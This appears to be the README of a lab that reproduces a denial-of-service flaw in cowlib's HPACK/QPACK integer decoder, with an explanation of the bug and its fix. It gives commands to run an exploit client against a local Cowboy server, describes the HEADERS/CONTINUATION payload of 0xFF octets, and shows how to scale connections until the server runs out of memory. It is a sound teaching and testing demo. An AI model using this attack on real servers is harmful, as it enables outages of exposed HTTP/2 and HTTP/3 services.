ninenines cowlib(≥ 2.0.0,< 2.19.0)中存在一个资源限制漏洞,允许未经身份验证的远程 HTTP/2 或 HTTP/3 对端耗尽易受攻击服务器(或客户端)的内存,并导致拒绝服务。
HPACK 和 QPACK 前缀整数解码器 cow_hpack_common:dec_big_int/3(位于 src/cow_hpack_common.hrl,由 cow_hpack:decode/2 和 cow_qpack:decode_field_section/3 调用)会读取后续八位组,直到找到一个高位为 0 的八位组,并在每一步计算 Int + (Value bsl M),其中移位量 M 每处理一个八位组就增加 7。对后续八位组的数量、结果位宽或数值没有任何限制——解码器会消耗对端提供的任意编码长度。由于 Erlang 整数是不可变的,每个中间值 Value bsl M 和每次累加器更新都会分配一个新的 bignum,其位数宽度随已处理的八位组数量线性增长;在整个解码过程中累加,瞬时分配量为编码长度的 O(n²)。
单个最大化的 HPACK 索引表示,承载于一对 HTTP/2 HEADERS + CONTINUATION 帧中——在 Cowboy 默认的 max_frame_size_received 范围内——就能在结果头表索引被判定为无效而拒绝之前,强制产生数百兆字节的瞬时分配和垃圾回收抖动。重复或并发的连接会成倍放大压力,并可能将 Erlang VM 推向内存耗尽。
Cowlib 是 Cowboy、RabbitMQ 管理插件以及其他 Erlang/Elixir HTTP/2 和 HTTP/3 服务器和客户端所使用的 HTTP 解析器,因此任何接受来自不受信任对端的 HPACK 或 QPACK 的暴露端点都可被触及。
修复: cowlib 2.19.0 为 dec_big_int/3 添加了 when M < 32 守卫,在少量八位组之后即拒绝超大整数。
本实验针对真实的 Cowboy 服务器重放该攻击(preface → SETTINGS → HEADERS → CONTINUATION,携带超大的 0xFF… HPACK 整数),并在 Prometheus/Grafana 中捕获 BEAM 内存峰值——分别在应用补丁之前和之后。
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy 固定了一个确切的 cowlib 版本:cowboy 2.17.0 附带存在漏洞的 cowlib 2.18.0(cowboy 2.18.0 捆绑了已修复的 cowlib 2.19.0)。本实验通过 override: true 强制指定 cowlib,因此漏洞→修复的演示只需在 server/mix.exs 中改动一行。
| 服务 | URL |
|---|---|
| Cowboy 服务器 | http://localhost:8080/(HTTP/1.1 + HTTP/2 h2c) |
| 服务器 /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000(admin / admin) |
Grafana 仪表盘 "cowlib 2.18.0 HPACK memory DoS" 已自动配置(无需手动设置数据源或面板)。
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
端口: 该栈会发布宿主机端口
8080(Cowboy)、9090(Prometheus)、3000(Grafana)。启动前请确保这些端口空闲,并且每次都要用docker compose run --rm重新运行漏洞利用客户端——该 Compose 服务运行一次后即退出。
| 变量 | 默认值 | 作用 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | HPACK 整数中 0xFF 八位组的数量(512 KB 炸弹;服务器的 max_fragmented_header_block_size 允许最高 1 MB)。 |
NUM_CONCURRENT | 100 | 并发异步连接数——每个连接都会在 ATTACK_KEEPALIVE_SECS 期间保持存活并持续解码。增加到 200+ 可稳定使服务器容器 OOM(超过 1g)。 |
SOCKET_TIMEOUT | 15 | 每个连接握手的秒数 |
ATTACK_KEEPALIVE_SECS | 60 | 每个连接在发送后保持存活的时长 |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | 目标 |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
大于服务器
max_fragmented_header_block_size(1 MiB)的载荷会在到达解码器之前被拒绝,随后客户端会在已关闭的连接上看到socket.send() raised exception。请保持PAYLOAD_CONTINUATIONS≤ ~1,000,000,或提高server/poc_server.exs中的上限(并重新构建)以匹配。
server/poc.exs)poc.exs 直接调用 :cow_hpack.decode/2 —— 不涉及 TCP,也不绑定端口 —— 因此它可以在运行中的服务器旁边运行,也可以单独运行。它向一个带有 max_heap_size 上限的解码器进程送入 0xFF + 0xFF×N + 0x00,并在整数移位过程中记录进度。
# rebuild once so the file is baked into the image
docker compose build cowboy-server
# run it (safe while cowboy-server is up — it binds nothing)
docker compose run --rm cowboy-server mix run poc.exs
# or inside the running container:
docker compose exec cowboy-server mix run poc.exs
| 变量 | 默认值 | 作用 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 100000 | 0xFF 八位字节的数量 |
HEAP_WORDS | 1000000 | 子进程堆上限,以字为单位(每字 8 字节) |
SAMPLE_MS | 50 | 堆/内存采样间隔 |
LOG_EVERY | 5 | 每第 N 次采样记录一次日志(1 = 全部) |
TIMEOUT_MS | 30000 | 解码的硬性上限 |
VERBOSE | 1 | 0 摘要,1 采样,2 每次采样 |
精简输出(cowlib 2.18.0):